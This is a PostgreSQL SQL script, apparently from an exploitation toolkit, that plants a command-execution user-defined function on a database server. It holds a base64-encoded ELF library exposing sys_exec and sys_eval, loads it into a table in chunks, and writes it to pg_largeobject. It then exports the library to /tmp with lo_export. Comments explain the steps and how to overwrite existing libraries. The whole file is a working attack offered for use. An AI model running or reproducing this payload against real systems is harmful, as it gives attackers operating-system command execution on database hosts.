INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA');
|
||||||
|
UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAAAAkAAHwAAAASAAsAaAAAADoHAADGAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAACjBwAACAAAAAggAAAIAAAAWwcAAAIPAAAZCQAAAg8AAHAHAAACCwAAlQ';
|
||||||
|
UPDATE udftest SET data=data||'cAAAILAACNCAAAAgsAAC4JAAACCwAAhQcAAAIKAADaCAAAAgoAAEMJAAACCgAAqwcAAAIBAADwBwAAAgUAABgIAAACBwAAPggAAAIIAABUCAAAAg4AAPEIAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLAMHoAo1w/IPoA4kEJOj8////icONRwSJdCQIiUQkBIkcJOj8////xgQzAMcEJAEAAADo/P///4mF2Pv//8dEJATUCQAAiRwk6Pz///+Jhdz7///HheD7//8AAAAA62GNvfD7//+4AAAAALn/////8q6JyPfQjXD/i53g+///AfOJXCQEi5XY+///iRQk6Pz///+Jhdj7//+JdCQIjYXw+///iUQ';
|
||||||
|
UPDATE udftest SET data=data||'kBIuF2Pv//wOF4Pv//4kEJOj8////iZ3g+///i5Xc+///iVQkCMdEJAQABAAAjYXw+///iQQk6Pz///+FwA+Fd////4uV3Pv//4kUJOj8////i4XY+///gDgAdAuLleD7///GRBD/AL7/////i73Y+///uwAAAACJ8YnY8q730YPBA4kMJOj8////iYXU+///i73Y+///ifGJ2PKu99GNDI0MAAAAi5XU+///iQqLvdj7//+J8fKu99GD6QGJ0IPABIlMJAiLldj7//+JVCQEiQQk6Pz///+LhdT7//+LVfBlMxUUAAAAdAXo/P///4HELAQAAFteX13DVYnlg+wYiV30iXX4iX38i1UIi0IQiQQk6Pz///+Jx4sAwegCjXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIwMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
|
||||||
|
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
|
||||||
|
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA';
|
||||||
|
UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg';
|
||||||
|
UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA==';
|
||||||
|
|
||||||
|
-- SO compiled using PostgreSQL 8.2 C libraries
|
||||||
|
-- INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA');
|
||||||
|
-- UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAA/ggAAH4AAAASAAsAaAAAADoHAADEAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAAClBwAACAAAAAggAAAIAAAAWwcAAAIPAAAXCQAAAg8AAHIHAAACCwAAlw';
|
||||||
|
-- UPDATE udftest SET data=data||'cAAAILAACPCAAAAgsAAC4JAAACCwAAhwcAAAIKAADYCAAAAgoAAEMJAAACCgAArQcAAAIBAADyBwAAAgUAABoIAAACBwAAQAgAAAIIAABWCAAAAg4AAO8IAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAxwQkAQAAAOj8////iYXY+///x0QkBNQJAACJHCTo/P///4mF3Pv//8eF4Pv//wAAAADrYY298Pv//7gAAAAAuf/////yronI99CNcP+LneD7//8B84lcJASLldj7//+JFCTo/P///4mF2Pv//4l0JAiNhfD7//+';
|
||||||
|
-- UPDATE udftest SET data=data||'JRCQEi4XY+///A4Xg+///iQQk6Pz///+JneD7//+Lldz7//+JVCQIx0QkBAAEAACNhfD7//+JBCTo/P///4XAD4V3////i5Xc+///iRQk6Pz///+Lhdj7//+AOAB0C4uV4Pv//8ZEEP8Avv////+Lvdj7//+7AAAAAInxidjyrvfRg8EDiQwk6Pz///+JhdT7//+Lvdj7//+J8YnY8q730YPBA4uV1Pv//4kKi73Y+///ifHyrvfRg+kBidCDwASJTCQIi5XY+///iVQkBIkEJOj8////i4XU+///i1XwZTMVFAAAAHQF6Pz///+BxCwEAABbXl9dw1WJ5YPsGIld9Il1+Il9/ItVCItCEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIgMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
|
||||||
|
-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
|
||||||
|
-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA';
|
||||||
|
-- UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg';
|
||||||
|
-- UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA==';
|
||||||
|
|
||||||
|
|
||||||
|
-- Create a new OID for a large object, it implicitly adds an entry in the
|
||||||
|
-- PostgreSQL large objects system table
|
||||||
|
--
|
||||||
|
-- References:
|
||||||
|
-- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
||||||
|
-- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
||||||
|
SELECT lo_unlink(35817);
|
||||||
|
SELECT lo_create(35817);
|
||||||
|
|
||||||
|
|
||||||
|
-- Update the PostgreSQL system large objects table assigning to the just
|
||||||
|
-- created OID the binary (base64 decoded) UDF as data
|
||||||
|
--
|
||||||
|
-- Refereces:
|
||||||
|
-- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
|
||||||
|
UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817;
|
||||||
|
|
||||||
|
|
||||||
|
-- Export the binary UDF OID to a file on the file system
|
||||||
|
--
|
||||||
|
-- Any folder where postgres user has read/write/execute access is valid
|
||||||
|
SELECT lo_export(35817, '/tmp/lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres
|
||||||
|
--
|
||||||
|
-- Notes:
|
||||||
|
-- If the library file already exists and the postgres user has write
|
||||||
|
-- access over it, it can overwrite the file
|
||||||
|
-- The following enumerates the PostgreSQL data directory
|
||||||
|
-- SELECT CURRENT_SETTING('data_directory')
|
||||||
|
-- Reference:
|
||||||
